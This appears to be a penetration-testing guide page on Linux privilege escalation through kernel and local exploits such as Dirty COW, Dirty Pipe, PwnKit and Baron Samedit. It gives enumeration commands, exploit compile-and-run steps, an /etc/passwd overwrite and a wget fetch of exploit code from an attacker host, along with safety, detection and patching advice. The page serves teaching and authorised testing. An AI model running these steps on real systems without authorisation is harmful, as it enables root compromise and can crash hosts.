
Linux Kernel Exploits
Guide to identifying and exploiting Linux kernel vulnerabilities for privilege escalation, including enumeration techniques, common exploits, and safety considerations.
Introduction
A kernel exploit attacks a bug in the Linux kernel itself and, when it works, gives you root directly. The other notes in this section abuse misconfigurations. A kernel exploit needs no misconfiguration at all, only an unpatched kernel, which is why it is the fallback when sudo, SUID, cron and group membership come up empty.
Use with caution
Kernel exploits can take the host down:
- A failed exploit can cause a kernel panic and a reboot.
- Memory corruption can damage filesystems.
- A crashed kernel is loud. Someone will notice.
- Even a successful run can leave the system unstable afterwards.
Get explicit permission before running one, and use another escalation path if you have one.
Enumeration
System information
# Kernel version
uname -a
Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
# OS release
cat /etc/os-release
cat /etc/lsb-release
# Architecture
uname -m
archAutomated enumeration
# Linux Exploit Suggester
./linux-exploit-suggester.sh
# Linux Exploit Suggester 2
python linux-exploit-suggester-2.py
# LinPEAS kernel section
./linpeas.sh | grep -A 20 "Kernel"Finding exploits
Manual search
# Search Exploit-DB
searchsploit linux kernel 4.4 privilege escalation
# Search by specific version
searchsploit linux kernel 4.4.0Where to look
| Resource | URL |
|---|---|
| Exploit-DB | https://www.exploit-db.com |
| Linux Exploit Suggester | https://github.com/mzet-/linux-exploit-suggester |
| CVE Details | https://www.cvedetails.com |
Notable exploits
Dirty COW (CVE-2016-5195)
Affected: Linux kernel 2.6.22 up to 4.8.3.
A race condition in the copy-on-write code lets an unprivileged user write to read-only memory mappings, and through them to files such as /etc/passwd.
# Compile
gcc -pthread dirty.c -o dirty -lcrypt
# Run
./dirtyDirty Pipe (CVE-2022-0847)
Affected: Linux kernel 5.8 and later, until the fixes in 5.16.11, 5.15.25 and 5.10.102.
An uninitialised pipe buffer flag lets you overwrite data in any file you can read, including root-owned files.
# Compile
gcc exploit.c -o exploit
# Overwrite /etc/passwd
./exploit /etc/passwd 1 "$(cat payload)"PwnKit (CVE-2021-4034)
Affected: polkit's pkexec, installed SUID root on most distributions.
Not a kernel bug, but it shows up in the same exploit-suggester output. pkexec mishandles an empty argument list, reads environment variables as arguments, and can be made to load an attacker's shared library as root.
# Compile and run
gcc pwnkit.c -o pwnkit
./pwnkitSudo Baron Samedit (CVE-2021-3156)
Affected: sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1.
Also a userland bug: a heap buffer overflow in how sudo unescapes command-line arguments. Any local user can trigger it, even one with no sudo rights.
# Check vulnerability
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes, likely vulnerable
# Run exploit
./exploitExploitation workflow
1. Identify the kernel version
uname -r
4.4.0-116-generic2. Search for exploits
searchsploit linux kernel 4.4.0
# or
searchsploit "linux kernel 4.4" | grep -i "privilege"3. Download and transfer
# On attacker
searchsploit -m 40839
python3 -m http.server 8000
# On target
wget http://ATTACKER:8000/40839.c4. Compile
# Simple compilation
gcc exploit.c -o exploit
# With specific flags (check exploit comments)
gcc -pthread exploit.c -o exploit -lcrypt5. Execute
./exploit
# id
uid=0(root) gid=0(root) groups=0(root)Cross-compilation
If the target has no compiler, build on your own machine for the target architecture:
# On attacker (compile for target architecture)
# For 64-bit target
gcc -m64 exploit.c -o exploit64
# For 32-bit target
gcc -m32 exploit.c -o exploit32
# Static compilation (no library dependencies)
gcc -static exploit.c -o exploitSafety
Before running
- Back up critical data if you can.
- Test in a lab VM running the same kernel version.
- Read the exploit code and understand what it changes.
- Check for safer paths first: sudo, SUID, cron, groups.
During the engagement
- Record the kernel version before you start.
- Agree a recovery plan in case the host crashes.
- Tell the client about the risk before running anything.
- Stay off production systems where you can.
What failure looks like
| Symptom | Likely cause |
|---|---|
| Kernel panic | The exploit corrupted kernel memory. The host needs a reboot. |
| Segmentation fault | The exploit failed, often because of a wrong kernel version or offsets. |
| No effect | The kernel is probably patched (distributions backport fixes without changing the version). |
| Root shell, then instability | The exploit worked but left kernel state broken. Get what you need and expect a crash. |
Detection and forensics
Indicators
- Kernel crash logs in
/var/log/kern.log - Suspicious compiled binaries in
/tmp - Unusual process memory patterns
- Core dumps from crashes
Mitigation
# Check kernel version and patches
apt list --installed | grep linux-image
# Apply security updates
apt update && apt upgrade
# Enable kernel hardening
# /etc/sysctl.conf
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2Related resources
- Sudo Misconfigurations: lower-risk escalation through sudo rules
- Linux Capabilities: capability-based escalation
- Privileged Groups: group-based escalation
References
MITRE ATT&CK techniques
- T1068 - Exploitation for Privilege Escalation - Primary kernel exploitation technique
- T1014 - Rootkit - Post-exploitation kernel-level persistence
Vulnerabilities
- CVE-2016-5195 - Dirty COW - Race condition in copy-on-write
- CVE-2022-0847 - Dirty Pipe - Pipe buffer flag manipulation
- CVE-2021-4034 - PwnKit - Polkit pkexec vulnerability
- CVE-2021-3156 - Baron Samedit - Sudo heap overflow
Other resources
- Linux Exploit Suggester - Kernel exploit enumeration tool
- Dirty COW - Original vulnerability page
- Dirty Pipe Explained - Technical writeup
- Exploit-DB - Exploit database
Linux Hardening
Linux system hardening techniques covering attack surface reduction, access controls, authentication, network security, and monitoring for defensive security operations.
Logrotate Exploitation
Guide to exploiting logrotate misconfigurations for privilege escalation using race conditions and the logrotten exploit.